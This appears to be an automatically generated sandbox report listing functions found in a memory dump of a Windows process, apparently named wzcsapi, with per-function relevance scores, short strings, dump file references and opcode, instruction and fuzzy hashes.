Function 00007FFAAC591291 Relevance: 1.4, Strings: 1, Instructions: 192COMMON

Download Yara Rule

Strings

(0, xrefs: 00007FFAAC5912DD

Memory Dump Source

Source File: 00000003.00000002.2679796016.00007FFAAC590000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC590000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffaac590000_wzcsapi.jbxd

Similarity

API ID:
String ID: (0
API String ID: 0-2478120556
Opcode ID: f3a5473d4f8b2df65212c1dac941839cf94938998fbd02655469e5e8afe10faa
Instruction ID: 9c9453d405ec355c45ceb8050e2365a6e460e9abcb327bb29cad1edad645a4d5
Opcode Fuzzy Hash: f3a5473d4f8b2df65212c1dac941839cf94938998fbd02655469e5e8afe10faa
Instruction Fuzzy Hash: C0512A71E0991A8FEB58DB68C8456F977F5FF99311F0441BAE04ED3192CE29AC0587C0

Function 00007FFAAC591D30 Relevance: 1.4, Strings: 1, Instructions: 184COMMON

Download Yara Rule

Strings

8e, xrefs: 00007FFAAC5927CD

Memory Dump Source

Source File: 00000003.00000002.2679796016.00007FFAAC590000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC590000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffaac590000_wzcsapi.jbxd

Similarity

API ID:
String ID: 8e
API String ID: 0-1620073548
Opcode ID: 6ffe2d1e35e59f6614da01bf87560531bc60b291d4531527d253797e1804f408
Instruction ID: eb9b4993278bd9125efa7099c97a058c6b026a4133f0126e431e6b0dca91c35e
Opcode Fuzzy Hash: 6ffe2d1e35e59f6614da01bf87560531bc60b291d4531527d253797e1804f408
Instruction Fuzzy Hash: 09512662B1D95A4FF798A73CD84AAB977CADF99210B0484F9E44EC3293DD1DEC424381

Function 00007FFAAC592239 Relevance: 1.4, Strings: 1, Instructions: 163COMMON

Download Yara Rule

Strings

r6, xrefs: 00007FFAAC5922B2

Memory Dump Source

Source File: 00000003.00000002.2679796016.00007FFAAC590000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC590000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffaac590000_wzcsapi.jbxd

Similarity

API ID:
String ID: r6
API String ID: 0-2984296541
Opcode ID: 9f04e8446f290fee0c35e30dca6e8e30680ea9beb2d208ab606755439729c64b
Instruction ID: 637f58e439be2e72f093148717e45e1709db780e121b3b0dbc1c537a7e36178c
Opcode Fuzzy Hash: 9f04e8446f290fee0c35e30dca6e8e30680ea9beb2d208ab606755439729c64b
Instruction Fuzzy Hash: 19415A61B1D6894FE788AB3C98666797BD9DF9A211F0444FEF04EC36D3DD189C028381

Function 00007FFAAC590909 Relevance: 1.4, Strings: 1, Instructions: 155COMMON

Download Yara Rule

Strings

8e, xrefs: 00007FFAAC590A3D

Memory Dump Source

Source File: 00000003.00000002.2679796016.00007FFAAC590000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC590000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffaac590000_wzcsapi.jbxd

Similarity

API ID:
String ID: 8e
API String ID: 0-1620073548
Opcode ID: 3569f05798dcdbd79274b5523d5a0a6b1279f15faef9d6bb23743eab4e78186e
Instruction ID: 97a804203a4cbd803c120b809afa01c35e216648055c3f9d75aedc1b87561bc5
Opcode Fuzzy Hash: 3569f05798dcdbd79274b5523d5a0a6b1279f15faef9d6bb23743eab4e78186e
Instruction Fuzzy Hash: 72414462A4EA474FF788A3B884565B86BD5EFDA210B4848FAE04DC71D3DD1DA84A4381

Function 00007FFAAC591C70 Relevance: 1.4, Strings: 1, Instructions: 136COMMON

Download Yara Rule

Strings

r6, xrefs: 00007FFAAC5922B2

Memory Dump Source

Source File: 00000003.00000002.2679796016.00007FFAAC590000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC590000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffaac590000_wzcsapi.jbxd

Similarity

API ID:
String ID: r6
API String ID: 0-2984296541
Opcode ID: a1abe6e60f99226ea6584c662e9206b1c036f9f021a2f0b73dce4230beffeddc
Instruction ID: b98e86ff549d872347101cc652f99bd076daf52c8aae5baadd9b8bbc87f9428e
Opcode Fuzzy Hash: a1abe6e60f99226ea6584c662e9206b1c036f9f021a2f0b73dce4230beffeddc
Instruction Fuzzy Hash: 3231B561B1C9490FEB98EB3CD85A679B7C6EB99311F0445BEE04EC36D3DD289C418381

Function 00007FFAAC5924E9 Relevance: 1.4, Strings: 1, Instructions: 121COMMON

Download Yara Rule

Strings

6, xrefs: 00007FFAAC592512

Memory Dump Source

Source File: 00000003.00000002.2679796016.00007FFAAC590000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC590000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffaac590000_wzcsapi.jbxd

Similarity

API ID:
String ID: 6
API String ID: 0-1452363761
Opcode ID: 0a74ddab92180e8c3fad88507ede3872d45205110adf705f2bb9dd5d352138bb
Instruction ID: 9878985c8790b0773e2ae72c752296d94bdf895a26ea13987f7110ccb595e9b6
Opcode Fuzzy Hash: 0a74ddab92180e8c3fad88507ede3872d45205110adf705f2bb9dd5d352138bb
Instruction Fuzzy Hash: 5531D461A1890A8FFB44BBBC886A7BD77D5EF98300F0481BAE40DC7297DD2C98458791

Function 00007FFAAC5923A1 Relevance: 1.4, Strings: 1, Instructions: 121COMMON

Download Yara Rule

Strings

HB, xrefs: 00007FFAAC5923D9

Memory Dump Source

Source File: 00000003.00000002.2679796016.00007FFAAC590000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC590000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffaac590000_wzcsapi.jbxd

Similarity

API ID:
String ID: HB
API String ID: 0-408134297
Opcode ID: 7aa500bf5e62c3a511cd7cec5d74199bddea2011369c6c0e0219858edab618ac
Instruction ID: 486a8decd6f5926c5f8f5567aab0e202846d8f39d24af10f1c6bbbd6a0db3781
Opcode Fuzzy Hash: 7aa500bf5e62c3a511cd7cec5d74199bddea2011369c6c0e0219858edab618ac
Instruction Fuzzy Hash: D241E471918A4A9FEB44EB78C851AF97BE1FF89300F508475D00DC32D2CE28A945CB80

Function 00007FFAAC592500 Relevance: 1.4, Strings: 1, Instructions: 110COMMON

Download Yara Rule

Strings

6, xrefs: 00007FFAAC592512

Memory Dump Source

Source File: 00000003.00000002.2679796016.00007FFAAC590000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC590000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffaac590000_wzcsapi.jbxd

Similarity

API ID:
String ID: 6
API String ID: 0-1452363761
Opcode ID: 836385f5caae787aa715e275af0b0d48254e9c1553ee9f8cace78caac3959a05
Instruction ID: 269598744b8fe1c9c7a9abf7c62b34b544fcdb44b1d37fbdc039b154bfe14a72
Opcode Fuzzy Hash: 836385f5caae787aa715e275af0b0d48254e9c1553ee9f8cace78caac3959a05
Instruction Fuzzy Hash: F731A761B1890A4BEB84BBBC885A7BD76D6EF9C301F5041B9E40DC3297DD289C458791

Function 00007FFAAC5998FD Relevance: 1.3, Strings: 1, Instructions: 78COMMON

Download Yara Rule

Strings

d, xrefs: 00007FFAAC599973

Memory Dump Source

Source File: 00000003.00000002.2679796016.00007FFAAC590000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC590000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffaac590000_wzcsapi.jbxd

Similarity

API ID:
String ID: d
API String ID: 0-2564639436
Opcode ID: 7c2a9d63e0efa2a27d0d5a0965b7c17fcdcd8ba71824d433b305cef32214cccc
Instruction ID: f22365d119d3d44549171b512da85a382ceae081b67176a0b9aeee02ed3aca17
Opcode Fuzzy Hash: 7c2a9d63e0efa2a27d0d5a0965b7c17fcdcd8ba71824d433b305cef32214cccc
Instruction Fuzzy Hash: 6521D532C4E25B8FFB409BA4C8556EDBBE4EF47310F0541BAE48DD3192DA2E944987D2

Function 00007FFAAC594700 Relevance: 1.3, Strings: 1, Instructions: 55COMMON

Download Yara Rule

Strings

d, xrefs: 00007FFAAC599973

Memory Dump Source

Source File: 00000003.00000002.2679796016.00007FFAAC590000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC590000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffaac590000_wzcsapi.jbxd

Similarity

API ID:
String ID: d
API String ID: 0-2564639436
Opcode ID: d2be783dda2a79105dbd6082b8619a572504a58d13c8bb459116791bef0f99b6
Instruction ID: a766e0f3650a3717e2b545ec525170f7456938bb372380998afc494804af1dad
Opcode Fuzzy Hash: d2be783dda2a79105dbd6082b8619a572504a58d13c8bb459116791bef0f99b6
Instruction Fuzzy Hash: BA11A531D5951B8AFF54AB6884056FDB6A8EF86304F00407AE91DE2180DE2FA94486D2

Function 00007FFAAC593BBA Relevance: 1.3, Strings: 1, Instructions: 55COMMON

Download Yara Rule

Strings

HB, xrefs: 00007FFAAC593BE6

Memory Dump Source

Source File: 00000003.00000002.2679796016.00007FFAAC590000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC590000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffaac590000_wzcsapi.jbxd

Similarity

API ID:
String ID: HB
API String ID: 0-408134297
Opcode ID: ac22f9b7059042a5afff9c1066a4994699ebc20a8da9cc816db2e4358a3e7455
Instruction ID: be873666e8129c8dc12ff044aa3e4e8973de131a0bcca4d930ec8d1ef241844c
Opcode Fuzzy Hash: ac22f9b7059042a5afff9c1066a4994699ebc20a8da9cc816db2e4358a3e7455
Instruction Fuzzy Hash: 9501C051E8E687CFF766637CC4662692A99EF67304F0084FAE04D822C3DD1DA80A8381

Function 00007FFAAC594A85 Relevance: 1.3, Strings: 1, Instructions: 5COMMON

Download Yara Rule

Strings

6, xrefs: 00007FFAAC594ADA

Memory Dump Source

Source File: 00000003.00000002.2679796016.00007FFAAC590000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC590000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffaac590000_wzcsapi.jbxd

Similarity

API ID:
String ID: 6
API String ID: 0-1452363761
Opcode ID: 6e553e47e870b42a757cb55e513459a4906b23a8f78636867ebca816f799a9de
Instruction ID: bc990022c209be84a4168d6acf4497006e48c2fa956539c8f1dea3638ffedf71
Opcode Fuzzy Hash: 6e553e47e870b42a757cb55e513459a4906b23a8f78636867ebca816f799a9de
Instruction Fuzzy Hash: 01A0029274D2815AE303013DDC311AD2E114FC625871B00B3D8D886992D85C59169111

Function 00007FFAAC599BB0 Relevance: .5, Instructions: 493COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2679796016.00007FFAAC590000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC590000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffaac590000_wzcsapi.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b024923813f5763409aca065283e968a13d0051693dc6090529a4b9921d90326
Instruction ID: 0083c1e84cb763baf7e89f7491fad4bf4755ab14264281747ff6ef9bd42647bf
Opcode Fuzzy Hash: b024923813f5763409aca065283e968a13d0051693dc6090529a4b9921d90326
Instruction Fuzzy Hash: F561E47191CA4D8FEB54DB68C855AEDBBF1FF59301F1482AAD04DD3292CE38A845CB81

Function 00007FFAAC59A300 Relevance: .2, Instructions: 208COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2679796016.00007FFAAC590000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC590000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffaac590000_wzcsapi.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 362c49c2bd5037a1ee62954cfa059035c7b50ba6ae71ab8d0541d8e8808fae8b
Instruction ID: ee44ffddf82272d62ca5eb31d4bea0c8de0b1631d0ba3b3f9f4ecdb10cf9a86c
Opcode Fuzzy Hash: 362c49c2bd5037a1ee62954cfa059035c7b50ba6ae71ab8d0541d8e8808fae8b
Instruction Fuzzy Hash: 3651B631A1891D8FEB98EB7CC499AB977E5EF59310F0445B9E00ED32D2CE29EC458781

Function 00007FFAAC590A81 Relevance: .2, Instructions: 203COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2679796016.00007FFAAC590000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC590000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffaac590000_wzcsapi.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5c209434fbdd6492deaf01e9f96cb0dbe05a7d1f64491fb5b270d2edd735e9de
Instruction ID: 764d171fd82f7263c1537f7f5fa002cef230f4679eb6be1064a3b87efcd111da
Opcode Fuzzy Hash: 5c209434fbdd6492deaf01e9f96cb0dbe05a7d1f64491fb5b270d2edd735e9de
Instruction Fuzzy Hash: CF517161B1890A8FEB84F768D452BB9B3D6EF98300F5445B5E00EC33D7CE2CA9458B91

Function 00007FFAAC59A80A Relevance: .2, Instructions: 199COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2679796016.00007FFAAC590000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC590000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffaac590000_wzcsapi.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9c2be6c6f596c9bf9972a248ef7bf327ae7d1487343349c0ddd143dcf21a8f22
Instruction ID: fa561679d5c6e26464e74a7e9d21aa73368e6ada7de9f5456c05b97953a0e067
Opcode Fuzzy Hash: 9c2be6c6f596c9bf9972a248ef7bf327ae7d1487343349c0ddd143dcf21a8f22
Instruction Fuzzy Hash: A15124719486498FE749DB68C845AB87BE4EF56310F0481BAD00DD3292CB29E44BCB90

Function 00007FFAAC595AAC Relevance: .2, Instructions: 196COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2679796016.00007FFAAC590000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC590000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffaac590000_wzcsapi.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 101cc9941e3baae0cf0b5f278c88e421acdafcf172c77a54839f4ff40752e6f3
Instruction ID: eb051cc688a7b14932241ebde6972da009ce40f1302c21b23b23fd77ccc452c7
Opcode Fuzzy Hash: 101cc9941e3baae0cf0b5f278c88e421acdafcf172c77a54839f4ff40752e6f3
Instruction Fuzzy Hash: 7F517F71908A4C8FDB68DB68D845BE9BBB1FB59310F0082AAD44DD3252DE34A9858FC1

Function 00007FFAAC5934B8 Relevance: .2, Instructions: 177COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2679796016.00007FFAAC590000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC590000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffaac590000_wzcsapi.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 57fc9c82cf8aa6ddf37ed30388540ba0a7431983603ccadfdff6094136799e95
Instruction ID: 5c19987c7869029b6cf13417fcb9dc1c07d14551d384754e5fdad289e2ecbec6
Opcode Fuzzy Hash: 57fc9c82cf8aa6ddf37ed30388540ba0a7431983603ccadfdff6094136799e95
Instruction Fuzzy Hash: D8519670E5891E8FEB98EB28D445ABC73E6FF99300F4084B5E00DD3292DF29E8458780

Function 00007FFAAC59A019 Relevance: .2, Instructions: 175COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2679796016.00007FFAAC590000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC590000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffaac590000_wzcsapi.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 513916363e70544a29985874f9ae426862b2f901237aadbff87c15e994434549
Instruction ID: 52242a9890fc4f3f5302cc016cfa1178fac8ef7fd78eb2b6b5660de32e5d20fa
Opcode Fuzzy Hash: 513916363e70544a29985874f9ae426862b2f901237aadbff87c15e994434549
Instruction Fuzzy Hash: 8151E331A5D94A8FEB54EB28D855AAC77E5EF4A300F0441F9E00DD32D2DF2DE8458790

Function 00007FFAAC593C45 Relevance: .2, Instructions: 150COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2679796016.00007FFAAC590000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC590000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffaac590000_wzcsapi.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5f6d0916e811a6c40e5652c23b01208ef21b3dba8fae798682a148fa15e845f7
Instruction ID: 3e2ed530b8ca476ebfd0376a897d26990fe20235ddf5942b1a4bd9bced974b59
Opcode Fuzzy Hash: 5f6d0916e811a6c40e5652c23b01208ef21b3dba8fae798682a148fa15e845f7
Instruction Fuzzy Hash: 32418070949A1DCFEB99EB68C45AAA977E0FF65311F0041BEE00EC3692CB35D845CB41

Function 00007FFAAC5934E0 Relevance: .1, Instructions: 140COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2679796016.00007FFAAC590000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC590000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffaac590000_wzcsapi.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6f9398318df8852fe7e9346c8e98ab6c29687fbc4cf07dc184fd015feaae636a
Instruction ID: 91879230e8a99d8ab3b92dd8866c06bbfb785ffbbd2b1e0ea27ad9f1c05fd919
Opcode Fuzzy Hash: 6f9398318df8852fe7e9346c8e98ab6c29687fbc4cf07dc184fd015feaae636a
Instruction Fuzzy Hash: 26418D70949A1DCFEB99EB6CC45AAA977E0FB65301F00417EE00ED3691CB35E8458B81

Function 00007FFAAC5907CD Relevance: .1, Instructions: 126COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2679796016.00007FFAAC590000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC590000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffaac590000_wzcsapi.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f6c5e94d2f490dd67d23082649e66dcfa300decbd515c881492d12ab2fcea82e
Instruction ID: 263364e34c77e92a6282c376cb08ee1ecf895edb052e7c4a7fe1948e0442c714
Opcode Fuzzy Hash: f6c5e94d2f490dd67d23082649e66dcfa300decbd515c881492d12ab2fcea82e
Instruction Fuzzy Hash: 984118A2A4E6C3CBF745A7B448554A87FD4FF9721075888FAE08D86183ED1ED90D83C1

Function 00007FFAAC5907FD Relevance: .1, Instructions: 111COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2679796016.00007FFAAC590000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC590000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffaac590000_wzcsapi.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5be93224df684bc16108d8b4380d1788a5316eba036247acc942e5b4d51cec41
Instruction ID: 7d5a0349d4ea2ad4037ae2f754a258b7c4dba8f3d24e05938803bc7a795e25eb
Opcode Fuzzy Hash: 5be93224df684bc16108d8b4380d1788a5316eba036247acc942e5b4d51cec41
Instruction Fuzzy Hash: 633107A2A4E6C78BF74567B448154A87FE0FF96200758C8FAE08D86583ED1ED90D83C1

Function 00007FFAAC59B035 Relevance: .1, Instructions: 103COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2679796016.00007FFAAC590000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC590000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffaac590000_wzcsapi.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 67a2f25b44a08f5d4a0203f81a5eae2241196910cb4fcd0bc53bba1a6c5c6c7a
Instruction ID: 52ad6948d829714b7e7bee8e244c8d235f59572403b64796869701b19f124e0d
Opcode Fuzzy Hash: 67a2f25b44a08f5d4a0203f81a5eae2241196910cb4fcd0bc53bba1a6c5c6c7a
Instruction Fuzzy Hash: 2131B17140C7488FDB55DFA8D88AAEABBF0FF56320F0482AFD089C3552D764A409CB91

Function 00007FFAAC5934D5 Relevance: .1, Instructions: 86COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2679796016.00007FFAAC590000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC590000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffaac590000_wzcsapi.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6efbf264852145a3de742577d4a0a4013d58e0ff4ccd46f565bef26b721a88fd
Instruction ID: 784972a95fd0dd7aacde53f293ee31170f39102e47eb6004979c8558427002b8
Opcode Fuzzy Hash: 6efbf264852145a3de742577d4a0a4013d58e0ff4ccd46f565bef26b721a88fd
Instruction Fuzzy Hash: E521C74698F7C28BF716476C5C660797F64AF97104B4840FAE08C86697E80EDA4D83D2

Function 00007FFAAC59AF51 Relevance: .1, Instructions: 84COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2679796016.00007FFAAC590000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC590000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffaac590000_wzcsapi.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4cc8257762133d43c6906991502aef2b029b5b7abb01d73e8355586ed52e9bcc
Instruction ID: 97eb542194987ed31f5662a4f84260494ee1209b2a23737a7d6553f38869facf
Opcode Fuzzy Hash: 4cc8257762133d43c6906991502aef2b029b5b7abb01d73e8355586ed52e9bcc
Instruction Fuzzy Hash: F2213860A8E58B4FE746976888116F937E9DF9B200F0481F6E04EC71C2DD1DD94A83E1

Function 00007FFAAC59353A Relevance: .1, Instructions: 80COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2679796016.00007FFAAC590000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC590000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffaac590000_wzcsapi.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d7140a693ea078f18b9151194218475fad22c1232daffeffbc674bec98d493fb
Instruction ID: 67c453e4179d6a2706c792d9af617129a7b7e35722716d681a7b84ba532be9f2
Opcode Fuzzy Hash: d7140a693ea078f18b9151194218475fad22c1232daffeffbc674bec98d493fb
Instruction Fuzzy Hash: 0B21928788F7C2CFF716876C58160B97F94AF57110B4840EFE08C8A5A7E81ADA0983D2

Function 00007FFAAC59AE41 Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2679796016.00007FFAAC590000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC590000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffaac590000_wzcsapi.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 33ade480a36367f853c719c9cbc38cf912891cfc0029ec2948192f040d36b72c
Instruction ID: 6514eab0c63db18644d683674de0a528f299de9003a9d59d3ed2108f705026a7
Opcode Fuzzy Hash: 33ade480a36367f853c719c9cbc38cf912891cfc0029ec2948192f040d36b72c
Instruction Fuzzy Hash: E4210250A2CA565BFB01A7BC8416BE977D5EF49300F5085B5E00DC32C3CE1CA9448BE2

Function 00007FFAAC592811 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2679796016.00007FFAAC590000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC590000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffaac590000_wzcsapi.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3fb27f576649f47982af09aded1c7a453174cc2a286213a198cbf96510eb0e56
Instruction ID: d16789f5b265f73cf599f3718c81d3088b01b9400ef4d4defb5a750b1de21741
Opcode Fuzzy Hash: 3fb27f576649f47982af09aded1c7a453174cc2a286213a198cbf96510eb0e56
Instruction Fuzzy Hash: E311B471D4DA4A8FEB94EB6888196ED7BA0EF55300F0041BAE50CC7293DE29990487C1

Function 00007FFAAC591128 Relevance: .1, Instructions: 70COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2679796016.00007FFAAC590000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC590000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffaac590000_wzcsapi.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dea814ee76a5f2f25c24244a244d837b047a3f9a4d94f9bfb85efd813f1bf8cf
Instruction ID: ea63b7f0b1062d6a35e24b5943c23fafdaa99261a2e953af1dde35b801063cc9
Opcode Fuzzy Hash: dea814ee76a5f2f25c24244a244d837b047a3f9a4d94f9bfb85efd813f1bf8cf
Instruction Fuzzy Hash: 0B112663D4DA9A9FE7449BB898160F97BE0EB96340B0480F7E04DC3287D9299A4983C1

Function 00007FFAAC5996C0 Relevance: .1, Instructions: 64COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2679796016.00007FFAAC590000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC590000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffaac590000_wzcsapi.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ed2c02fbcc4bf719d270833cb36469bbb24e25a0ec7f65a6ae2c368e8f65a409
Instruction ID: 5d3791f845c3d515f2718d0b90651f2f3873c48b0c9595cb951b98d19daae0fe
Opcode Fuzzy Hash: ed2c02fbcc4bf719d270833cb36469bbb24e25a0ec7f65a6ae2c368e8f65a409
Instruction Fuzzy Hash: 6A11253294CA5A8FFB51E76CD81A5EDBBE4EB86310B0401F2E00DC3292CE185C4643C1

Function 00007FFAAC5936F4 Relevance: .1, Instructions: 62COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2679796016.00007FFAAC590000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC590000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffaac590000_wzcsapi.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 829f31b37200d5dbb6d0c5f7b57f807dc9f0fd8d5db37ee03d238c2f8b65f188
Instruction ID: d1fb9584b6b44f737d4113d321b990edc576afac568c7eaf20073f50657a9fc5
Opcode Fuzzy Hash: 829f31b37200d5dbb6d0c5f7b57f807dc9f0fd8d5db37ee03d238c2f8b65f188
Instruction Fuzzy Hash: 3D1190A5D4D253CAF756A338C4125A92B999F87360F4886F5E00EC73D3CE2EE5198291

Function 00007FFAAC593731 Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2679796016.00007FFAAC590000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC590000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffaac590000_wzcsapi.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 295523f552613576a7b3be8d2db11e01e9d6212f0cace3f1c633a99864c987d6
Instruction ID: fb33019776a039ece461f71f2b6fda7f45e783e4efed1867c524f52ce2eff7be
Opcode Fuzzy Hash: 295523f552613576a7b3be8d2db11e01e9d6212f0cace3f1c633a99864c987d6
Instruction Fuzzy Hash: 2911AFE1C4E693CEF356537CC8511682F68AF97300B4485FAE04D862D3DA1EE5198391

Function 00007FFAAC599841 Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2679796016.00007FFAAC590000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC590000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffaac590000_wzcsapi.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3e4ccc36013d3ca67c9f5c67df32b6548ea027c46c9994e90b5752f8d06f224d
Instruction ID: ba0cba855db4c17242708320c9408c5f9a1c5a0f30f4d060585cea1a7b0d578d
Opcode Fuzzy Hash: 3e4ccc36013d3ca67c9f5c67df32b6548ea027c46c9994e90b5752f8d06f224d
Instruction Fuzzy Hash: 201104B2D09A898FDB45EBA8C86A1FD7BF0EF16301F4401EBD048D7293DA2898048381

Function 00007FFAAC5934A0 Relevance: .0, Instructions: 50COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2679796016.00007FFAAC590000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC590000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffaac590000_wzcsapi.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9c8e793570bf91925daf0325e61379d3049e2dad7bff3de79a55c44bf96557b9
Instruction ID: 63e08767f67e7ed1321305928acb8433415677c14a8eb448669342729e9eb63d
Opcode Fuzzy Hash: 9c8e793570bf91925daf0325e61379d3049e2dad7bff3de79a55c44bf96557b9
